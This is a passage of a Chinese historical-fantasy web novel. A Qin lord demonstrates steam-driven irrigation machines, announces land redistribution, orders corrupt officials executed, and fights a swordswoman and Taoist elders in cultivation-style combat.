随着墨官将一筐黑亮的煤炭倾入润田机的炉膛,“呼”的一声,橘红色的火光从炉口窜起,舔舐着炉膛内的煤层。
不过片刻,连接炉膛的铜制管道便烫得发赤,蒸汽在管道里剧烈翻腾,“嘶嘶”的声响越来越急,最终化作一股汹涌的白汽,从烟囱顶端喷涌而出,在半空凝成一团蓬松的云,连烈日都被遮去了几分光晕。
“咔嗒——咔嗒——”
润田机底座的齿轮开始转动,带动着前端的链斗缓缓沉向洺水支流。
链斗边缘的铁齿划破水面,“哗啦”一声没入水中,带起一串晶莹的水珠,在阳光下折射出七彩的光。
等链斗盛满水,齿轮又带着它向上翻转,斗口朝下时,整斗清水便顺着倾斜的铁槽倾泻而下。
“哗哗”的水流撞在槽壁上,溅起细密的水花,沿着槽道奔涌向前,直抵田埂边的水渠。
不过三息功夫,第二斗、第三斗水接踵而至。
链斗转动得越来越快,铁槽里的水流汇成了一条白色的水带,顺着水渠蜿蜒流入农田。
干裂的泥土遇水,发出“滋滋”的轻响,像久旱的土地在贪婪地呼吸。
原本卷成细条的粟苗叶片,好似都舒展开来,叶尖上还挂着水珠,透着鲜亮的绿。
连田埂上的裂缝都被水流填满,渐渐洇出一片湿润的黑。
不过半柱香的功夫,田垄边缘的半亩地便全被浇透,湿润的泥土泛着油光,连空气里都飘着一股清新的土腥味。
远处观望的百姓们,起初都屏住了呼吸,死死盯着那链斗的一举一动。
有个扛着锄头的老农,手不自觉地攥紧了锄柄,指节泛白。
他今早挑了五担水,才浇透了自家半分地,此刻见润田机片刻间浇透半亩,嘴巴张得能塞进个鸡蛋。
“那……那链斗转得好快!”
一个穿着补丁短打的年轻人率先喊出声,声音里带着难以置信的颤音,“这才多久?
怕是有百十担水了吧?”
旁边的老佃户蹲在田埂上,旱烟杆从嘴边滑落都没察觉。
他望着那奔涌的水流,喃喃道:“我挑水挑了三十年,从洺水到田里,一来一回要走两里地,日头最毒的时候,一天也挑不了三十担……
这东西……这东西半柱香就顶我半个月的活计?”
人群里的骚动越来越大。
有个抱着孩子的妇人,指着田垄里舒展开的粟苗,眼眶通红:“上月天旱,我家那口子为了浇地,累得在渠边晕了过去……
这要是早有这东西,哪用遭那份罪?”
“它不是妖兽!”
有个胆大的少年往前凑了两步,眼睛瞪得溜圆,“它是来帮咱们浇地的!
你看那水流,多匀实,连田边最干的角落都浇到了!”
先前还瑟瑟发抖的百姓们,此刻渐渐放下了戒备。
有人踮着脚往前挪,想看得更清楚些。
有人互相推搡着,指着润田机议论纷纷,声音里的恐惧早已被兴奋取代。
连最固执的老汉都捋着胡须,连连点头:“神物!真是神物!
这天旱的年月,有这东西,庄稼就饿不**!”
站在人群边缘的云渺,按在剑柄上的手缓缓松开。
她望着那链斗翻飞、水流奔涌的景象,眸中满是难以置信。
方才她还
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以为这钢铁巨物是屠城的凶器,此刻却见它温顺地为农田输水,连水流都浇得这般均匀。
这哪里是“妖兽”,分明是能救万民于旱灾的利器。
“这……这钢铁巨兽,竟然是浇田用的?”
她喃喃自语,目光不由自主地飘向马背上的赵诚。
那个以“血屠”之名威慑诸国的男人,此刻正垂眸看着润田机,侧脸在阳光下显得格外平静,竟看不出半分杀伐之气。
他闭门半月,不是在炼邪术,不是在造凶兵,竟是在造这等惠及民生的器物?
旁边的大长老捋着长须,声音里带着难以掩饰的惊叹:“老夫活了八十载,见过墨家的汲水机,用过郑国渠的斗门,却从未见过这般高效的器物!
一斗水提得快,水流得匀,半柱香浇透半亩地……
若这东西能普及天下,便是天大的旱年,农田也能保得住收成。
世间再无饥荒,可不是‘改天换地,惠及万民’么?”
拿着龟甲的老道更是连连点头,望着润田机的目光里满是释然:“原来如此!
原来如此!
先前占卜显‘惠及万民’之象,竟是应在此物身上!
这赵诚……当真是让人看不透啊。”
而润田机旁的墨家弟子们,早已红了眼眶。
有个年轻的墨官攥着操纵杆,指节因用力而发白,泪水顺着脸颊滑落,滴在滚烫的铁槽上,瞬间蒸成了水汽。
“师父,您看到了吗?”
他哽咽着低语,“我们脱离旧墨家,投效秦国,不是为了苟活,是为了造出真正能帮到百姓的东西!”
旁边的老墨官拍了拍他的肩,声音也带着颤音:“这只是开始。
等经纬机织出更结实的布,穿渠机凿出更通畅的渠,驰轨车运来更便宜的粮……
总有一天,天下人会知道,我墨阁子弟,并非苟且偷生之辈,而是为了天下苍生!”
阳光穿过白汽,在润田机的钢铁骨架上投下斑驳的光影。
田垄里的水流还在奔涌,百姓们的惊叹声、墨官们的哽咽声、润田机的轰鸣声交织在一起,在武安城的郊野间回荡。
竟像是一曲从未听过的、属于新生的歌。
赵诚望着眼前这一切,嘴角勾起一抹浅淡的笑意。
第217章 铁亩均田苏民望,腐吏阻议触豪强
接下来的几日,赵诚亲率墨家子弟,带着润田机在武安城郊的田垄间辗转。
从洺水南岸的河谷地,到滏口陉下的坡地,十几台润田机日夜不停地运转,链斗翻飞间,汩汩清水漫过干裂的农田。
不过三日,便浇灌了足足数千亩地。
机器运转顺畅,未有半分故障,连最严格的禽滑厘都忍不住抚掌赞叹。
武安城的百姓们,从最初的远远观望,渐渐凑得越来越近。
有人端着饭碗蹲在田埂上,边吃边看链斗转得飞快。
有人带着孩子来,指着蒸汽升腾的景象,给娃讲“这是能让庄稼喝水的铁家伙”。
还有些老农,干脆蹲在浇透的田边,伸手抓起一把湿润的泥土,在指间搓揉着,脸上的皱纹都舒展开来。
“原来工坊里没日没夜地响,是在造这宝贝啊。”
有个挑着空水桶的汉子,望着润田机叹道,“先前还以为是啥**的妖兽,现在看来,比庙里的龙王还灵验。”
“可不是嘛,”
旁边的妇人接话,怀里的孩子正伸手去够溅起的水花,“有这东西,再遇着天旱,咱也不用愁了,庄稼准能丰收。”
赞叹声里,却也藏着几分不易察觉的忧虑。
几个佃户凑在一块儿,声音压得极低:“这润田机是好,可咱有资格用吗?”
“瞧这铁打的模样,造价指定不低,怕是只有君上自家的田地能用吧。”
“要是能租给咱用就好了……哪怕多交些粮也行啊。”
这些窃窃私语,顺着风飘进赵诚耳中。
他正站在田埂上,看着润田机浇灌最后一片试验田,闻言转头,目光缓缓扫过围观的百姓。
方才还在议论的百姓们,瞬间像被按住了喉咙,齐齐噤声,连呼吸都放轻了。
田垄间只剩下润田机“嘶嘶”的喷气声,和水流淌过土地的“哗哗”声。
“此物,名为润田机。”
赵诚的声音不高,却清晰地传遍四野,带着清朗的掷地有声,“是我秦国墨阁所造,而我的封地,便是它的第一个试点。”
他顿了顿,看着众人紧张的神色,继续道:“如今墨阁已造出十几台,接下来还会建造更多。
不只是武安城,周遭的列人城、滏口城,都能用此物浇灌。”
话音刚落,田垄间先是一静,随即爆发出雷鸣般的欢呼!
“真能给咱用?”
“君上万岁!”
“武威君,武威君真是天大的好人!”
百姓们激动得互相搀扶,有个老汉甚至对着赵诚的方向,“咚咚”地磕起头来,额头上很快就沾了层泥。连那些先前对“血屠”之名心存恐惧的人,此刻看赵诚的眼神里,也多了几分真切的感激。
赵诚抬手,示意众人安静,目光再次扫过田垄
“先前刚到封地,忙着督造器械,许多事尚未料理。
即日起,我会重新清丈土地、核定户籍。派田正带着田佐,会同各村的乡正,逐村丈量土地,按肥沃程度分级。”
“对编户之民,按户授田!每户上田百亩、中田百二十亩、下田百五十亩!”
“至于润田机,”
他看向那些跃跃欲试的百姓,“每户都可租用,租用者,只需在原税收基础上,多缴一成即可。”
田垄间瞬间陷入死寂。
方才还在欢呼的百姓们,像是被施了定身法,个个张着嘴,眼神发直,难以置信地望着赵诚。
有个年轻媳妇手里的簸箕“哐当”掉在地上,她却浑然不觉,只是喃喃道:“百亩?上田百亩?”
这不是梦话吗?
要知道,在赵国治下时,武安城的百姓哪敢想“百亩田”的事?
那时,城郊的好地大半都攥在钱家这样的豪绅手里。
寻常人家能有个三五亩薄田,就算是殷实户了。
更多的人,不过是豪绅的佃户或长工。
租种钱家的地,每年收成交三成租子是常例,遇着钱家“看收成好”,还会再加一成。
若是赶上灾年,地里收的还不够交租,就得拿家里的粮食、布匹抵。
实在没东西了,便得卖儿鬻女,或是去钱家做长工,累死累活一年,也就混个肚圆。
有个老佃户,在钱家的地里种了四十年,如今六十多了,背驼得像张弓,家里祖孙三代挤在两间破草房里。
最大的心愿,不过是能有一亩自己的地,临死前能吃上一口自家种的粟米。
此刻听赵诚说“每户百亩”,他猛地捂住嘴,满脸不敢置信。
看着那年轻英武的面容上,满是认真,这话也不像作假,他才艰难的咽了咽口水。
浑浊
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的眼泪顺着皱纹往下淌,喉咙里发出“嗬嗬”的抽气声,竟哭了出来。
“君上……您说的是真的?”
有个胆大的汉子,颤抖着声音问道,“真能给咱分百亩田?”
赵诚点头:“秦法之下,耕者有其田。
只要编入户籍,按律纳粮,这田便归你们耕种。”
“哇——”
不知是谁先哭出声,紧接着,田垄间爆发出一片压抑许久的呜咽。
有年轻**声欢呼,有妇人抱着孩子抹泪,还有些老汉对着润田机的方向,一遍遍地磕头,嘴里念叨着“遇上好时候了”。
这片沉寂太久的土地上,第一次响起如此真切的、带着希望的声响。
而这个时候,一直站在一旁的王博县令脸色却是大变。
他眼睛一转,连忙说道,“君上,此事得徐徐图之,恐怕不能一蹴而就啊。”
这片土地,表面看是寻常农户的命根子,实则大半都攥在钱家手里。
钱家是武安城盘根错节的豪绅。
自赵武灵王时便在此立足,靠着联姻、放贷、勾结官吏,一步步吞下了城郊七成的水浇地,连洺水支流的灌溉渠,都得经过他们家的田埂才能流向下游。
寻常百姓要么是租种钱家土地的佃户,要么是替钱家打理田产的长工,一年到头汗珠子摔八瓣,收成交了三成租子后,剩下的刚够糊口,遇上天灾就得卖儿鬻女。
赵诚虽得封武安君,坐拥邯郸以西百里封地,按秦制,封地内的土地理论上归其管辖调度。
可他初来乍到,要督造蒸汽器械,也没急着处理此事。
是以这些日子,他只让血衣军守住工坊与要道,对地方田产暂未触及,只暗中让属吏查访各户田契来源,尤其是那些“世代相传”却找不出原始文书的地块。
王博之前在泥坑里哭喊“护田”,喊的虽是“百姓”,眼角余光却瞟向人群外一个穿着锦缎短打的汉子,这一幕赵诚尽收眼底。
那汉子他也知道是谁,那是钱家的管家钱忠。
方才队伍出城时,钱忠就偷偷塞给王博一个沉甸甸的钱袋,只说“君上若动了咱家的地,还望县令大人多费心周旋”。
王博本就靠着钱家举荐才坐稳县令之位,每年还能从钱家的租子里分一杯羹,此刻自然坐不住了。
第218章 铁腕清污诛腐吏,黔首震畏醒愚民
赵诚看向他,“哦?王县令有何高见?”
王博眼神闪烁,飞快扫过周围屏息的百姓,又看向赵诚,躬身道:“君上,此事牵涉甚广,能否借一步说话,容下官细禀?”
“不必了。”赵诚抬手打断,声音平淡却带着不容置喙的威压,“有什么话,就在这里说,让武安城的百姓也听听。”
王博额头渗出细汗,只能硬着头皮,提高了声音,“君上有所不知,武安城的情状特殊。
许多百姓没有私田,并非无田可种,而是他们自愿**给了钱家。
钱家可是咱武安城的大善人家啊!”
他刻意加重“大善”二字,语气恳切,“往年灾年,是钱家开仓放粮,救济灾民。
是钱家让出田地,让百姓耕种。
也是钱家给口饭吃,才让无数人没饿死在街头。
百姓们感念其恩,才**投靠,这都是心甘情愿的啊!”
“况且,”他话锋一转,目光扫过田垄,“武安城大半田地,本就归钱家所有。
君上如今要按户授田,那钱家的田又该怎么办?
寒了善人心,以后谁还肯救济百姓?”
这话一出,田垄间的百姓果然沉默了。
钱家在武安城盘根错节数十年,寻常百姓见了钱家的人都要绕道走。
他们确实租种钱家的地,灾年也确实领过钱家的“救济粮”。
只是那粮食掺着沙土,领粮时还要给管事磕头作揖,可在许多人心里,“钱家给了活路”的念头早已根深蒂固。
此刻被王博点破,竟没人敢出声反驳。
赵诚看着这一幕,忽然笑了,笑声里带着毫不掩饰的嘲讽:“心甘情愿?”
他缓步走到王博面前,大氅在风中泛起暗红血色。
“你说,武安城的土地大半是钱家的?”
王博被他看得心头一突,膝盖发软,想点头又不敢,只能讷讷道:“是……是祖上传下来的产业……”
“祖上?”
赵诚张目而笑,声音震得周围的人耳膜发颤,“本将率军破邯郸、平代郡、扫灭赵境三十七城,纵横三千里,这赵国的每一寸土地,都是我打下的,是我大秦将士用鲜血换来的!
邯郸以西百里封地,是陛下亲赐给我的武威君封地!”
他环视四周,目光如刀,扫过那些低头的百姓,最终落在人群外那个锦衣汉子身上。
正是钱家管家钱忠,此刻早已面无人色。
“钱家是什么东西?也配在我封地里称主人?”
“钱兴何在!?”
一名身穿锦袍的胖老者浑身一抖,在钱忠搀扶之下匆匆走了上来,跪在地上,不敢直视赵诚,“钱兴拜见君上。”
赵诚的声音像淬了冰,“你来说说,这武安城的土地,是我说了算,还是你钱家说了算?”
钱兴连连点头,“自是君上说了算。”
赵诚点了点头,还算识相。
“即日清丈土地,差了半寸,钱家上下人头不保,听清楚了?”
钱兴脸色惨白,叩首回道,“清楚,小人清楚。”
田垄间鸦雀无声,连风吹过粟苗的声音都清晰可闻。
一股寒意从众人脚底升起,不敢直视赵诚。
在这寂静之中,赵诚突然沉喝一声:“王博!”
“在!”
王博吓得腿一软,“噗通”跪倒在地,额头重重磕在泥地上,“君……君上!”
“我入城那日,便命你配合诸吏,核定户籍、清丈土地、明定税赋,”赵诚俯身,眼中的寒芒几乎要刺穿王博的脸,“为何至今,这三件事一件未办?”
王博浑身抖得像筛糠,结结巴巴道,“武……武安城情况复杂,需……需徐徐图之,容下官再……再宽限些时日……”
“宽限?”
赵诚笑了,“诸国都说我是血屠阎罗,看来你是不信。”
他直起身,扬声道:“来人!”
“末将在!”
几名血衣军亲卫立刻上前,甲叶碰撞声清脆刺耳。
赵诚横戟指向王博,声音冷得像寒冬的冰:“王博渎职,勾结豪
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绅,阻挠新政!
将其麾下协理户籍、土地的属吏,尽数拿下,斩于田下,以儆效尤!”
“什么?!”
王博猛地抬头,脸色惨白如纸,连滚带爬地去抱赵诚的腿,“君上饶命!臣真的尽力了!武安城情况真的复杂啊!
臣没有勾结……求君上开恩!”
周遭的百姓见之也是浑身一颤,他们这才想起,眼前的人不是只会造润田机的“武威君”,而是那个三日破邯郸、单骑裂敌阵的血屠阎罗。
而那王博,才是他们的青天老爷,有他在,才有人帮他们说话,帮她们周旋。
不然的话,哪天若是血屠大开杀戒,还有谁敢拦着?
于是无数百姓跪下,连连给王博求情。
“君上饶了王县令吧!”
有个老农磕着头喊道,“王县令是好官啊,平日里真的帮百姓做事呢!”
“是啊君上!求您高抬贵手!”
哭喊声、哀求声此起彼伏,许多人是真心觉得王博“护民”,更多的是被赵诚的煞气吓破了胆,怕这阎罗连自己也一起斩了。
赵诚看着这群跪地求情的愚民,丝毫不为所动。
“把人都拿来!”
话音未落,田垄两侧突然窜出数十名血衣军锐士。
他们早已按赵诚的吩咐,盯住了王博的属吏。
那些平日里跟着王博催收赋税、包庇豪绅的小吏,此刻正想趁着混乱偷偷溜走,却被血衣军像拎小鸡似的一个个揪了出来。
“放开我!我是县尉属吏!”
“君上饶命啊!都是王县令指使的!”
求饶声、咒骂声混在一起,却只换来血衣军冰冷的呵斥:“闭嘴!”
不过片刻功夫,二十余名属吏就被按倒在田埂上,脸贴着湿润的泥土,瑟瑟发抖。
赵诚望着这一幕,又看了看瘫在地上的王博,声音平静却带着千钧之力:“斩!”
阳光依旧炽烈,田垄间的水流还在汩汩作响,可所有人都觉得,一股彻骨的寒意,正从脚底蔓延到全身。
第219章 青锋护佞拦天宪,戟影镇狂破魅形
“住手!”
一声清叱划破田垄上空,话音未落,一道白虹似的剑光已从人群外掠来。
剑光如练,带着破空的锐啸,转瞬便到了田垄之上。
只听“叮叮当当”一阵脆响,血衣军手中的长刀竟被这一剑尽数震落,刀身插入泥土,兀自嗡嗡作响。
众人循声望去,只见一青衫女子凌空而来,衣袂被风拂得猎猎作响,足尖轻点在一柄悬浮的长剑上,飘然落下。
而那飞剑如同游鱼一般,在空中穿梭了一个圆弧,翻飞回到了她的手中。
女子盈盈落地,身形若回风流雪,曼妙出尘。
她手中长剑斜指地面,剑身如秋水寒潭,剑尖凝着一缕寒光。
一如眸中的寒意,直直盯着赵诚,“血屠终究是血屠,魔头本性难移!
先前见你造润田机惠及百姓,还以为对你有几分误解,竟不想转眼就要屠戮良吏!”
赵诚早就知道这些人在暗中观察自己,也知道他们和那逍遥子的关系,只不过一直没空搭理他们。
此时见这女子跳出来多管闲事,不由得觉得好笑,“好官?何以见得?”
云渺望着跪地求饶的王博,又看了看周围惶恐的百姓,朗声道:“百姓为其跪地求情难道是假的?
王县令为护农田不惜触怒于你是假的?
如此清晰的**之下,此人难道不是好官?
你不分青红皂白屠戮好官,表面上是为了百姓,谁知背地里藏了什么心思?”
“**?”赵诚像是听到了天大的笑话,扬声道,“扶苏!”
“在!”
随着一声应答,扶苏从血衣军队列中走出。
他已褪去少年稚气,官服穿在身上,自有一番沉稳气度。
这些时日接手武安城政务,他领着属吏清查户籍、核对田契,王博的底细早已摸得一清二楚。
“县令王博。”
扶苏站定在王博面前,声音朗朗,字字清晰,“勾结豪绅钱家,伪造田契私吞良田三百亩。
强占佃户张老栓之女,逼其为妾。
逼良家女张氏为娼,不从便诬陷其夫偷盗,打断双腿。
纵容钱家管事强占田产。
更在去年大旱时,将朝廷赈灾粮掺沙土售卖,中饱私囊……”
他一口气列出十余桩罪状,桩桩件件都有姓名、有地点,听得周围百姓目瞪口呆。
“罪行种种,罄竹难书!”
扶苏最后加重语气,“此等败类,按秦律当夷三族,从者斩首,抄没家产!”
“冤枉!我冤枉啊!”
王博像是被踩了尾巴的狗,突然尖叫起来,连滚带爬地扑向云渺,“仙子救我!
这是诬陷!
是他们故意陷害我啊!”
似乎是见到有仙人要给他撑腰,他说话的底气足了许多。
百姓们面面相觑,有人想起自家被强占的田亩,有人记起被钱家逼死的亲人,嘴唇动了动,却终究没敢出声。
钱家的势力太深,眼前的仙子看起来也极强,若是现在站出来没个结果,大家也怕遭报复。
云渺看着王博声嘶力竭的模样,又看了看百姓们的沉默,眉头皱得更紧:“仅凭一面之词,怎能定人死罪?
他既喊冤,便该查个水落石出!”
“嗤!”
赵诚嗤笑一声,猛地提戟上前,暗红大氅在风中翻卷,如泼墨流云。
周身煞气陡然暴涨,压得周围空气都似凝固了,“吾为武威君,这武安城,是吾之封地,处置一些蛀虫,还需向你这外人解释?”
他眼神一厉,扬声道:“斩!”
“我看谁敢拦!”
云渺长剑陡振,三尺青锋骤然迸发出凛冽剑气,宛如灵谷起了寒雨,稳稳挡在王博身前。
青衫在罡风中猎猎作响,与赵诚那身暗红大氅形成泾渭分明的对峙,虽身形纤细,气势却如砥柱中流,丝毫不落下风。
血衣军长刀再举,寒光映着日头,在田垄间投下森冷的影子。
云渺足尖在地面轻轻一点,身形如惊鸿掠起,手中长剑化作道道光练,带着破空的锐啸,直刺最近的血衣军面门。
她虽怒赵诚残暴,却不愿伤及无辜,这一剑看似凌厉,实则只意在逼退,而
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非杀伤。
赵诚眼中煞气陡然翻涌,体内周天星斗纳真诀轰然运转。
周身经脉瞬间亮起点点星辉,真元如怒海奔涛般涌出,汇聚于擎天大戟之上。
大戟带着崩山裂石之势,朝着云渺当头砸下。
戟尖未到,那股沛然莫御的天倾之力已压得周围空气嗡嗡作响,田垄间的地面都被震得泛起土浪。
云渺见状,非但不避,反而旋身挥剑。
只见她皓腕翻转间,剑身之上竟泛起层层叠叠的真元,仿佛有万顷碧波在剑脊上流转。
每一缕真元都被她操纵得精准入微,丝丝缕缕缠绕剑刃。
正是天宗绝学“沧海浪流”。
一剑递出,竟似携着**大海的磅礴之势,浪涛般的剑气层层推进,要将那如山的戟影生生托住。
赵诚眸中精光暴涨,他没想到这少女这个年纪,修为能够如此深湛,操控真元的手段已臻化境。
但他不退反进,周天大窍星辉愈发炽盛,真元如决堤洪水般隆隆涌出。
大戟之上既凝着劈裂苍穹的锋锐,又透着**四海的厚重,竟同时兼具数种截然不同的特性,乘风破浪。
朝着那万重叠浪般的剑气之中,劈裂而去。
轰隆隆势如破竹!
戟与剑在半空相撞,无形气浪以二人为中心炸开,周遭粟苗被吹得伏倒一片,观战的七名老道皆被这股劲风掀得连连后退。
赵诚那势如破竹的戟势,竟硬生生将云渺的万重剑气层层压回,戟尖距她头顶已不足三尺。
云渺面色一变。
好强!
不论是真元精纯程度还是浑厚程度,竟然都远胜于她!
好在她技法精妙,真元操纵达到了极致,可以以巧力应对,不然这一下她就要被彻底压制!
“眼前这家伙,好像只会蛮力,招式之间,略显笨重,或许这就是他的弱点。”
她心念电转,见赵诚招式虽刚猛却略显沉滞,当即身形骤转。
只见青影一晃,原地竟绽开七八道残影,每道残影都身姿绰约,手持长剑指向不同方向,虚实难辨。
第220章 流风幻影缠凶戟,戟威破虚镇清锋
这正是天宗秘术“流云千幻”,不仅以极速制造残影,更能影响对方心神,使之难辨真伪。
刹那间,七八道剑影同时刺向赵诚周身要害,角度刁钻,封**所有闪避之路。
赵诚却不为所动,体内真元猛地涌入双目,瞳孔中骤然闪过两道金辉。
周天星斗诀集纳雪家阴阳术,自带破幻之能,那些看似逼真的残影在他眼中瞬间虚化,唯有一道青影裹挟着凌厉剑意,直取他心口!
“雕虫小技!”
赵诚冷哼一声,大戟横挥如电,戟刃带着劈山断岳的威势,裹挟着比先前更浩荡的真元,以风雷之速朝着那道青影砸去。
这一击势大力沉,空气都被撕裂,发出刺耳的尖啸。
云渺心头一紧。
他竟不受秘术影响,还能瞬间锁定真身!
师叔说的果然没错,这家伙恐怕还极为精通占卜一类的阴阳秘法!
更让她心惊的是,赵诚这一戟的真元竟比前招更加磅礴,仿佛无穷无尽,丝毫不见枯竭之象。
戟风已近在咫尺,咽喉处传来针扎般的刺痛,这是她有生以来,首次在同辈人手中感受到如此恐怖的压迫。
但压力越是炽烈,她的战意便越是高昂。
作为道家千年难遇的奇才,她的战斗才情岂会止步于此?
“流风回雪!”
云渺轻叱一声,身形陡变,竟化作了春风中的柳絮、凛冬里的飘雪,周身仿佛失去了所有重量,随着戟风轻轻摇曳。
她的身姿与那势如天倾的大戟擦身而过,衣袂被罡风掀起,却分毫未被触及,宛如一幅惊绝的雪中起舞图。
“轰!”
赵诚一戟落空,重重砸在田垄之上。
只听地动山摇的巨响,近十丈长的地缝如巨**般裂开,泥土飞溅,周围的水渠被震得崩裂,水流哗哗涌入裂缝,整座田垄都似在震颤,仿佛地龙翻身。
云渺落在数丈之外,青衫微乱,胸口微微起伏,看向赵诚的目光中,浮上了凝重与惊疑。
这一戟之威,竟至如此!?
幸好刚才反应足够快,如若不然,此刻不死也要重伤!
此人……
未免强得太离谱!
战斗在电光火石间爆发,不过数息功夫,已交手数招。
周遭的百姓先是被骤然响起的气爆声震得呆立原地,瞳孔放大,脸上写满震骇。
待看清地裂山崩的景象,才如梦初醒般尖叫着四散奔逃。
可他们刚跑出两步,便被两人交手的余波掀得东倒西歪。
有的摔在泥地里,有的撞在田埂上,哭喊声、惊叫声混在轰鸣里,不过一刹那,原本井然的田垄已变得如遭天灾。
幸存的百姓们瘫在地上,看着那道暗红身影与青影在半空交错,吓得魂飞魄散,连连磕头,额头磕在泥地里,渗出血迹也浑然不觉。
“护住百姓!”
天宗七名长老身形一晃,已如鬼魅般掠至百姓身前。
四人同时结印,淡金色的真元自掌心涌出,在百姓头顶凝成一道半透明的屏障,如琉璃罩般将众人护在其中,余波撞在屏障上,只激起圈圈涟漪。
另外三人则袖袍翻飞,柔和的气流裹着老弱妇孺,如托鸿**般向远处飘移,转瞬便将大半百姓带离了战圈。
而亦清与乐成趁着两人缠斗正酣,悄然掠至王博等贪官身旁。
乐成手腕一翻,长剑出鞘,就要斩断捆住王博的绳索。
亦清则祭出一面八卦镜,镜光闪烁,似要将这些人罩住带走。
他们自以为动作隐蔽,但谁想到,赵诚在与云渺对战之时,竟然还有余力观察周围。
并且立刻发现了他们两个的动作,杀气冷眸横扫而来,紧随而来的,是一戟罡风!
“敢在我眼皮子地下抢人!?”
轰!
这罡风来得太快,亦清祭出的八卦镜刚亮起微光,便被罡风撞得“咔嚓”碎裂。
两人脸色煞白,已能感受到罡风上那毁天灭地的力道,眼看就要被碾成齑粉。
“竖子敢尔!”
两名灰袍老道怒喝着扑上,双掌齐推,土黄色的真元如潮水般汇聚,在两人身前凝成一道厚实的壁垒,宛如千年顽石横亘,要硬接这道罡风。
嘭!
罡风与壁垒碰撞,发出震耳欲聋的巨响。
那看似坚不可摧的真元壁垒,竟如琉璃般瞬间爆碎,土黄色的光点漫天飞溅。
两名老道
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被震得踉跄后退,嘴角溢出一丝血迹,手臂兀自发麻。
而罡风竟是去势不减!
千钧一发之际,另一名手持阵盘的老道指尖急掐诀印,阵盘上的纹路骤然亮起青光。
一道淡青色的传送阵纹在亦清、乐成脚下铺开,将两人与王博等人瞬间挪移到数丈之外的田埂后。
几人跌落在地,惊魂未定。
三名老道同时抹了把额头的冷汗,看着场中那道挥舞大戟的魁梧身影,心头掀起惊涛骇浪。
“何等妖孽!”
手持阵盘的老道声音发颤,“如此年纪,能压制云渺师侄已是逆天,竟还能在缠斗中分心,连我等三人都被他逼得狼狈不堪……”
“这真元浑厚得不像话,招式更是霸道无匹,”
先前硬接罡风的老道捂着发麻的手臂,“绝非寻常邪修传承,恐怕与那东西有关……”
其余几人脸色一变,都是想到了什么,“你是说八百年前碎掉的那个……”
再看场中的赵诚时,几人的目光之中更显凝重。
他们哪里知道,赵诚此刻也有些不耐。
眼前这白衣女子实在滑不留手,攻击虽伤不到自己,真元也不如他精纯浑厚,可那身法、秘法却层出不穷。
时而化作流风,时而凝成雪影,真元操控得更是出神入化,明明看着触手可及,偏生一戟砸下便是个空。
难免有点头疼。
而对面的云渺也是胆战心惊,她现在总算是知道为什么当初与赵诚对视一眼就感觉到了风险,这一战压力实在太大了。
一个心神失守,或者有一线失误,挨上了那大戟,恐怕就是落个重伤的下场。
打到现在,她都有点怀疑,师父所说的自己是什么奇才的话,是不是在骗自己的。
世上怎么会有如此妖孽!
虽然对方境界进度上,比自己落后,但是那真元的浑厚程度和凝实程度,还有**的多面性,都比她这个天宗传人要强上许多倍。
要知道,天宗可是从上古就传下来的。
无数代惊才绝艳之辈,集结智慧,不断完善递进的天宗**,却好像比不上这家伙的传承。
这人到底是哪来的妖怪!?
第221章 玄术困敌催剑阵,罡戟破虚擒飘影
赵诚起初对云渺还升起有几分战意。
自打踏入成丹之境,能接他三戟而不退的人寥寥无几,本以为终于能遇上一个可酣战百回合的对手,也好松快松快筋骨。
可真交上手才发现,这白衣女子的身法竟滑溜得像风中飘雪,无论他如何调整攻势,始终难将其真正锁定。
此时他见云渺又要绕到侧后方袭扰,索性大戟一横,丈许长的戟身带着破空锐啸横扫而出,戟影如乌云盖顶,将周遭数丈范围尽数笼罩。
真元压得此地天光都昏暗了数分。
本想以此逼得她无路可躲。
可那道青影竟踩着戟风的间隙,足尖在戟杆残影上轻轻一点。
身形如柳絮般飘起丈许,紧接着贴地掠行,反倒绕到他身后,长剑带着锋锐剑气直刺他后腰。
虽被护体真元挡开,却也逼得他不得不回身而战。
这般“打不着、甩不掉”的缠斗,让赵诚渐渐生出几分不耐。
他的战斗方式本就一向以刚猛霸道见长,最擅正面硬撼,遇上云渺这种专走游走飘逸的路数,反倒有些不知从何入手。
偏偏这时,亦清与乐成又不知死活凑了上来,激起了赵诚的火气。
赵诚凶眸一扫,双手握戟,猛地往水中一挑。
大戟在河流之中一挑,倒卷水龙而去!
水龙的水流好似最为锋利的刀刃,朝着几名老道和亦清两人横扫而去。
那浩荡势头,看得周遭百姓尖叫着往远处爬,连瘫在地上的王博都吓得尿了裤子。
“合力出手!不可轻敌!”
七名老道脸色骤变,不敢有半分轻视。
擅长阵法的老道手捏“坤”字诀,将腰间阵盘往地上一按,土黄色纹路瞬间蔓延开来,将其余六人串联成一个七星阵。
另外几人则是八仙过海各显神通,借助这阵法的阵眼,将力量合到一处。
七种力量在阵眼处交融汇聚,最终凝成一道真元巨柱,迎着水龙对冲而去。
“砰——!”
水龙与光柱在半空轰然相撞,无形气浪以二人为中心炸开。
洺水支流的水面被震得掀起数尺高的浪,岸边的泥地裂开蛛网般的缝。
赵诚体内周天星斗纳真诀疯狂运转,周天窍穴中星辉闪烁,无尽真元如决堤洪水般顺着经脉涌入大戟。
水龙的威势陡然暴涨,龙身水流愈发湍急如刀,竟硬生生将那真元巨柱压得节节败退。
仿佛下一秒就要崩碎。
“这……这不可能!”
一名老道失声惊呼,脸色惨白如纸,“他明明只是成丹之境,真元怎会浑厚到这种地步?
竟能压制我等七人合力!”
其余老道也满脸震骇,手臂不受控制地颤抖,御使的真元有失控的感觉。
他们七人皆是修炼百年有余的老道,可合力面对赵诚这一击,竟连僵持都做不到!
正在与赵诚周旋的云渺见此情景,心头一急。
她知道再拖下去,七位长老师叔恐难支撑,当下不再保留,一边朝着战圈飞掠,一边指尖掐诀,口中念出晦涩咒文:“大梦千年!”
话音未落,一道无形的精神力量如潮水般朝着赵诚涌去,速度快得让人避无可避,瞬间便抵达他眉心。
赵诚只觉眉心像是被温水裹住,一股沉沉的睡意如潮水般涌来,眼皮重得像挂了铅。
周天窍穴里奔涌的星辉真元都慢了半分,连握戟的手都微微发沉,戟杆在掌心轻轻晃动。
赵诚冷哼一声,他对精神秘术本就精通,当下大成阴阳术瞬间运转。
真元顺着经脉涌入眉心周围的窍穴,在眉心处缠成一个旋转的涡旋,如绞肉机般将侵入的精神力层层绞碎。
不仅如此,这涡旋还顺着这一击反冲回去,带着强横霸烈的势头,直逼云渺的魅心。
云渺本就未到结婴之境,强行催动“大梦千年”已耗损大半精神,此刻被精神力反冲,顿时遭受反噬。
她身形一晃,青衫下的肩膀微微颤抖,眼前阵阵发黑,耳边嗡嗡作响,连视线都模糊了几分。
脑袋里传来针扎般的剧痛,仿佛有无数根细针在扎着脑仁。
